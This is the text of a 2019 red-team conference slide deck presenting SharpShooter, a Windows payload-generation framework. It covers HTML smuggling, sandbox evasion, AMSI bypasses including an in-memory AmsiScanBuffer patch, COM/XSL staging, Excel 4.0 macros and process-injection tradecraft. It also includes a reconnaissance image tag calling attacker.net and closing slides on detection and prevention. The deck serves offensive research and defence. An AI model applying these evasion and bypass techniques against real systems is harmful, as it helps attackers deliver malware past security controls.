Cracking the Perimeter with SharpShooter Dominic Chell June 2019 - PowerPoint PPT Presentation

Cracking the Perimeter with SharpShooter Dominic Chell June 2019

# whoami • Dominic Chell: • Offensive Security @ MDSec • Responsible for *BEST, STAR and TIBER services • Twitter : @domchell • Projects: • SharpShooter • LyncSniper • SharpPack • PowerDNS • Chameleon

OUTLINE • Background • “Free Styling” with SharpShooter • SharpShooter Overview • Exploring AMSI • Reconnaissance • Macro Support • Delivery • Tradecraft • Sandbox Evasion • Detection / Prevention • Staging

BACKGROUND • Establishing initial access can often be complex • Increased focus from defenders on PowerShell attacks • Easy to signature both statically and with process spawn chains • AMSI provides engines direct access to memory • Rise of sandboxing tech, “Next Gen Anti-Virus”, EDR and EDP • Increased difficulties introducing payloads to environments • Red teaming is getting harder!

OVERVIEW: SharpShooter • Internally developed tool; SharpShooter • Successful on a number of adversary simulations • Some success in bypassing traditional and “Next Gen” security controls

OVERVIEW: SharpShooter

OVERVIEW: SharpShooter • Staged and stageless payload creation framework for Windows based Scripting file formats: • HTML Applications • JavaScript • VBScript • Windows Script Files • VBA and Excel4 Macro Support • Arbitrary execution of CSharp source • Anti-Sandboxing and HTML Smuggling

OVERVIEW: SharpShooter • Script payloads execute DotNet using DotNetToJScript • Staged payloads: • Arbitrary CSharp source code is retrieved via DNS or web • CSharp source code is compiled and executed using reflection

RECONNAISSANCE • Targeted reconnaissance provides better chance of success • Payload should be targeted for correct version of DotNet framework • If executing in-process shellcode, it should correspond to the target’s architecture • Alternatively, an x86 process can be spawned and injected in to

RECONNAISSANCE • Reconnaissance e-mail with image and system profiling links • Embed in e-mail: <img src=“http://attacker.net/logo.png?uid=1234” /> • Monitor web logs for results: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.6366; ms-office; MSOffice 16)

DELIVERY • Delivery can leverage the “HTML smuggling” technique from @buffaloverflow • RC4 encrypted file decrypted in the browser using JavaScript’s WebCrypto APIs • navigator.mssaveBlob forces the browser to save the decrypted blob locally • Proxy sees text/html or attachment rather than the content type of the payload (e.g. text/vbscript ) • SharpShooter provides two pre-defined template examples

SANDBOX EVASION • Attempts to avoid automated analysis, inspired by CheckPlease: • Domain keying • Domain member • Sandbox artefacts • Bad MACs • Debugging

SANDBOX EVASION • Obtaining Active Directory name example:

SANDBOX EVASION • Obtaining Active Directory name example:

DEMO: PALO ALTO TRAPS

DETECTION STATUS • Shortly after release signatures began to emerge • Defender AMSI signature detects all DotNetToJScript • Proclaimed dead by @subTee

DETECTION STATUS

DETECTION STATUS

SharpShooter RESURRECTION

ANTIMALWARE SCAN INTERFACE • Microsoft introduced AMSI in Windows 10 • Standard interface to provide file, memory and stream scanning for any application • Analysis at the scripting engine therefore access to the plain, deobfuscated code • Supported in PowerShell, Windows Script Host, JavaScript and VBScript and Office VBA macros

ANTIMALWARE SCAN INTERFACE

ANTIMALWARE SCAN INTERFACE

ANTIMALWARE SCAN INTERFACE • Mid-April 2018 @subTee released “SquiblyTwo” attack • Script execution through Stylesheets using wmic.exe • Defender AMSI did not trigger

COM STAGING • Updates to SharpShooter to include “COM Staging” and XSL / SCT generation • Several known COM methods allow command execution: • Outlook.CreateObject, • WScript.Run, • Shellbrowserwindow.Document.Application.Run, • WMI StartWin32Process • Leverage COM to execute wmic.exe or regsvr32.exe on the command line to perform “Squiblydoo” and “SquiblyTwo” attacks

COM STAGING COM Interface wmic.exe / Remotely Hosted HTA, JS, VBS (Outlook, WScript, regsvr32.exe XSL or SCT WMI etc)

FREE STYLING WITH SharpShooter

FREE STYLING WITH SharpShooter • Research in to COM objects supporting XSL processing identified Microsoft.XMLDOM interface • Inline and remotely hosted transformation of XML against a given stylesheet, providing following benefits: • No command line execution, • Regsvr32.exe has known IOCs e.g. User-Agent, • XSL retrieval via HTTP/HTTPS • AMSI not supported in scriptlets; added early 2019 • Later used by @bohops to bypass WDAC in CVE-2018-8492

FREE STYLING WITH SharpShooter

DEMO: WINDOWS DEFENDER XSL

AMSI BYPASSES • @Tal_Liberman discovered an AMSI bypass using the “ AmsiEnable ” registry key ( HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable ) • Requires the user to “open” the payload twice: • First pass checks the registry to determine if the key is set and if not set it • Second pass opens the payload from the user’s download folder

AMSI BYPASSES

AMSI BYPASSES • @tiraniddo discovered a DLL hijacking vulnerability in AMSI • The technique prevents LoadLibrary from loading the AMSI.dll by convincing it that it’s already loaded • The scripting engine is unable to find the AMSI DLL exports and fails safe • Copy wscript.exe to known location with name amsi.dll and run the script file

AMSI BYPASSES • @Tal_Liberman discovered another bypass in AMSI by patching the amsi.dll ’s exported functions • AmsiScanBuffer handles the buffer that is being scanned • Function patched in memory to return AMSI_RESULT_CLEAN • mov eax, 0x80070057; retn

DEMO: DEFENDER AMSI BYPASS

MACRO SUPPORT • In Feb 2019, SharpShooter added additional support for VBA and Excel 4.0 macros • VBA support introduced using XMLDOM and XSL technique • @StanHacked discovered a legacy feature of Office to execute macros using Excel 4.0 • Excel 4.0 does not support AMSI and not recognised by many EDR/EDP solutions • SharpShooter generates an SLK file to directly execute shellcode in Excel

DEMO: MACRO EXECUTION

TRADECRAFT • Default SharpShooter templates do not employ OpSec tradecraft, stageless template: • Allocates memory EXECUTE_READWRITE for shellcode execution • Executes shellcode “in process”, e.g. mshta.exe performing C2 • Spawns from the default parent, e.g. wscript.exe launched from chrome.exe • Indicators discussed in detail by defenders: • https://countercept.com/blog/analyzing-sharpshooter-part-1/ • https://countercept.com/blog/analyzing-sharpshooter-part-2/

TRADECRAFT • Reducing memory indicators is a trivial step: • Firstly allocate memory using PAGE_READWRITE • Reset the page permissions to PAGE_EXECUTE_READ using VirtualProtect

TRADECRAFT • Reducing process indicators can be achieved using injection: • Spawn innocuous process e.g. iexplore.exe • Inject shellcode using chosen technique, e.g. ALPC , SetThreadContext , CreateRemoteThread etc.

TRADECRAFT • Parent PID spoofing can be performed using UpdateProcThreadAttribute • CreateProcess using STARTUPINFOEX struct

DEMO: TRADECRAFT

DETECTION • Staged mode CSharp compilation using CodeDom with the CompilerParameters.GenerateInMemory = true; parameter • Command line logging: • csc.exe invocation • nslookup.exe for DNS delivery • Modifications to AmsiEnable registry key for AMSI bypasses

PREVENTION • Endpoint prevention strategies: • Device Guard code integrity policy • Application whitelisting, block mshta.exe etc. • Modify default handlers for scripting extensions • Network: • Outbound DNS filtering • Monitor for HTML Smuggling, e.g. WebCrypto APIs

CONCLUSIONS • Windows Scripting file formats provide a number of interesting opportunities for initial access • Leveraging COM these can be harnessed for code execution using scriptlets and execution cradles • Creating weaponised tools raises ethical dilemmas, particularly when observed in the wild • Red team research/tooling can however provide a rare opportunity to raise the bar in detection at scale

REFERENCES • SharpShooter available from https://github.com/ mdsecactivebreach/SharpShooter • Thanks to the following people: • @tiraniddo: DotNetToJScript • @Arno0x0x: EmbedInHTML • @buffaloverflow: Demiguise • @arvanaghi and @ChrisTruncer: CheckPlease • @subTee: Squiblydoo/Two • @StanHacked: Excel4.0 research

QUESTIONS